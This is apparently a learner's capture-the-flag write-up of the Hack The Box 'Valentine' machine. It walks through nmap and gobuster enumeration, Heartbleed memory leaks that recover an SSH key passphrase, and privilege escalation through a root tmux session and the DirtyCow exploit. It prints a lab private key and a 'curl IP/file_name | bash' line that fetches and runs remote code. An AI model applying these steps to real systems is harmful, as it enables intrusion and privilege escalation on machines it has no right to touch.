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HTB: Valentine (Linux) Write-up Exploiting heartbleed/finding juicy bash hisotory & dirtycow for PE
Today, I'm getting into the Valentine Box on HTB. (The V-day is also coming close!)
As usual, I attempted to hack it myself and used IppSec's walkthrough for reference. https://youtu.be/XYXNvemgJUo
What I learned today/ Reminder
  • How to identify & exploit heartbleed
  • vim set:paste option
  • ssh naming convension -> username_key
  • ssh private key - make sure to paste everything! (I forgot to paste the last line and couldn't log in for a min) -> ssh -i privatekey
  • nmap --script vuln -oA 10.129.169.179 - this will run a vuln scan
  • Confirm the hearbleed vulnerability by:
    sslyze --heartbleed -> sslyze has more options
  • heartbleed
    • running with -x shows the hex views \
    • change the payload length around to see if it leaks some important info (kinda pain in the ass)
  • To see all root running processes, run
    ps -ef | grep root
  • Running a tmux file: tmux -S /.devs/dev_sess
tmux is a terminal multiplexer: it enables a number of terminals to
be created, accessed, and controlled from a single screen. tmux
may be detached from a screen and continue running in the
background, then later reattached.
When tmux is started it creates a new session with a single window
and displays it on screen. A status line at the bottom of the
screen shows information on the current session and is used to
enter interactive commands.
  • dirtycow exploit creates a root account with the username, firefart with the password specified! - after the exploit, you can switch user to the new account: Easy win!
Nmap Result:
Host is up (0.11s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA)
| 2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA)
|_ 256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.22 (Ubuntu)
443/tcp open ssl/http Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US
| Not valid before: 2018-02-06T00:45:25
|_Not valid after: 2019-02-06T00:45:25
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_ssl-date: 2022-01-27T04:16:16+00:00; -1s from scanner time.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: -1s
HTTP Enum:
This is great.
Gobuster-ed it:
\
Found /dev /encode /decode
Convert this to ASCII
Found SSH PRIVATE KEY!!
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,AEB88C140F69BF2074788DE24AE48D46
DbPrO78kegNuk1DAqlAN5jbjXv0PPsog3jdbMFS8iE9p3UOL0lF0xf7PzmrkDa8R
5y/b46+9nEpCMfTPhNuJRcW2U2gJcOFH+9RJDBC5UJMUS1/gjB/7/My00Mwx+aI6
0EI0SbOYUAV1W4EV7m96QsZjrwJvnjVafm6VsKaTPBHpugcASvMqz76W6abRZeXi
Ebw66hjFmAu4AzqcM/kigNRFPYuNiXrXs1w/deLCqCJ+Ea1T8zlas6fcmhM8A+8P
OXBKNe6l17hKaT6wFnp5eXOaUIHvHnvO6ScHVWRrZ70fcpcpimL1w13Tgdd2AiGd
pHLJpYUII5PuO6x+LS8n1r/GWMqSOEimNRD1j/59/4u3ROrTCKeo9DsTRqs2k1SH
QdWwFwaXbYyT1uxAMSl5Hq9OD5HJ8G0R6JI5RvCNUQjwx0FITjjMjnLIpxjvfq+E
p0gD0UcylKm6rCZqacwnSddHW8W3LxJmCxdxW5lt5dPjAkBYRUnl91ESCiD4Z+uC
Ol6jLFD2kaOLfuyee0fYCb7GTqOe7EmMB3fGIwSdW8OC8NWTkwpjc0ELblUa6ulO
t9grSosRTCsZd14OPts4bLspKxMMOsgnKloXvnlPOSwSpWy9Wp6y8XX8+F40rxl5
XqhDUBhyk1C3YPOiDuPOnMXaIpe1dgb0NdD1M9ZQSNULw1DHCGPP4JSSxX7BWdDK
aAnWJvFglA4oFBBVA8uAPMfV2XFQnjwUT5bPLC65tFstoRtTZ1uSruai27kxTnLQ
+wQ87lMadds1GQNeGsKSf8R/rsRKeeKcilDePCjeaLqtqxnhNoFtg0Mxt6r2gb1E
AloQ6jg5Tbj5J7quYXZPylBljNp9GVpinPc3KpHttvgbptfiWEEsZYn5yZPhUr9Q
r08pkOxArXE2dj7eX+bq65635OJ6TqHbAlTQ1Rs9PulrS7K4SLX7nY89/RZ5oSQe
2VWRyTZ1FfngJSsv9+Mfvz341lbzOIWmk7WfEcWcHc16n9V0IbSNALnjThvEcPky
e1BsfSbsf9FguUZkgHAnnfRKkGVG1OVyuwc/LVjmbhZzKwLhaZRNd8HEM86fNojP
09nVjTaYtWUXk0Si1W02wbu1NzL+1Tg9IpNyISFCFYjSqiyG+WU7IwK3YU5kp3CC
dYScz63Q2pQafxfSbuv4CMnNpdirVKEo5nRRfK/iaL3X1R3DxV8eSYFKFL6pqpuX
cY5YZJGAp+JxsnIQ9CFyxIt92frXznsjhlYa8svbVNNfk/9fyX6op24rL2DyESpY
pnsukBCFBkZHWNNyeN7b5GhTVCodHhzHVFehTuBrp+VuPqaqDvMCVe1DZCb4MjAj
Mslf+9xK+TXEL3icmIOBRdPyw6e/JlQlVRlmShFpI8eb/8VsTyJSe+b853zuV2qL
suLaBMxYKm3+zEDIDveKPNaaWZgEcqxylCC/wUyUXlMJ50Nw6JNVMM8LeCii3OEW
l0ln9L1b/NXpHjGa8WHHTjoIilB5qNUyywSeTBF2awRlXH9BrkZG4Fc4gdmW/IzT
RUgZkbMQZNIIfzj1QuilRVBm/F76Y/YMrmnM9k/1xSGIskwCUQ+95CGHJE8MkhD3
Found the decode and encode pages.
It looks like it's base64 decode and encryption scripts that they're running.
I went ahead and did more server enum!
Since 2.2.2 is end of life, let's run a vuln scan!
nmap --script vuln -oA 10.129.169.179 (NEW)
80/tcp open http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-enum:
| /dev/: Potentially interesting directory w/ listing on 'apache/2.2.22 (ubuntu)'
|_ /index/: Potentially interesting folder
443/tcp open https
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| ssl-heartbleed:
| VULNERABLE:
| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
| State: VULNERABLE
| Risk factor: High
| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
| http://www.openssl.org/news/secadv_20140407.txt
|_ http://cvedetails.com/cve/2014-0160/
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-enum:
| /dev/: Potentially interesting directory w/ listing on 'apache/2.2.22 (ubuntu)'
|_ /index/: Potentially interesting folder
|_http-dombased-xss: Couldn't find any DOM based XSS.
| ssl-ccs-injection:
| VULNERABLE:
| SSL/TLS MITM vulnerability (CCS Injection)
| State: VULNERABLE
| Risk factor: High
| OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h
| does not properly restrict processing of ChangeCipherSpec messages,
| which allows man-in-the-middle attackers to trigger use of a zero
| length master key in certain OpenSSL-to-OpenSSL communications, and
| consequently hijack sessions or obtain sensitive information, via
| a crafted TLS handshake, aka the "CCS Injection" vulnerability.
|
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224
| http://www.openssl.org/news/secadv_20140605.txt
|_ http://www.cvedetails.com/cve/2014-0224
| ssl-poodle:
| VULNERABLE:
| SSL POODLE information leak
| State: VULNERABLE
| IDs: BID:70574 CVE:CVE-2014-3566
| The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other
| products, uses nondeterministic CBC padding, which makes it easier
| for man-in-the-middle attackers to obtain cleartext data via a
| padding-oracle attack, aka the "POODLE" issue.
| Disclosure date: 2014-10-14
| Check results:
| TLS_RSA_WITH_AES_128_CBC_SHA
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
| https://www.imperialviolet.org/2014/10/14/poodle.html
| https://www.openssl.org/~bodo/ssl-poodle.pdf
|_ https://www.securityfocus.com/bid/70574
Confirm the hearbleed vulnerability by:
sslyze --heartbleed
What's heartbleed?
run it with -x option to see the hex view.
Change the payload length to see something comes up.
0x20 -> 2000
0xff -> max
hmmm... didn't work. Let's run it for 100 times with -n 100 options
aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==
base64!
Decode it with the web app thingie.
Got the password?
----
chmod 600 hype.key so we can use that key. (can read and write but not execute)
try to ssh into it
ssh -i hype.key [email protected]
(Guessing the username since we see the ssh naming convension on the file username_key)
I'm in user "hype"!
--- -

Privilege Escalation

Run LinEnum.sh
curl IP/file_name | bash (to execute it)
Couldn't find much at glance
run history:
What's tmux -L dev_sess
To see all root running processes, run
ps -ef | grep root
we see that it's owned by root but can be ran by us!
Let's run the tmux file with:
tmux -S /.devs/dev_sess
and now we are running it as root!

Priv Esc Method2: DirtyCow

paste it through vim - :set paste (NEW)
Find a compile method from the file: grep gcc dirty.cow
run it.
and now the password is an account is created with the username firefart with the password firefart.
let's try switching the user to firefart
Valentine is now hacked with the root user, firefart!
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Outline
Privilege Escalation
Priv Esc Method2: DirtyCow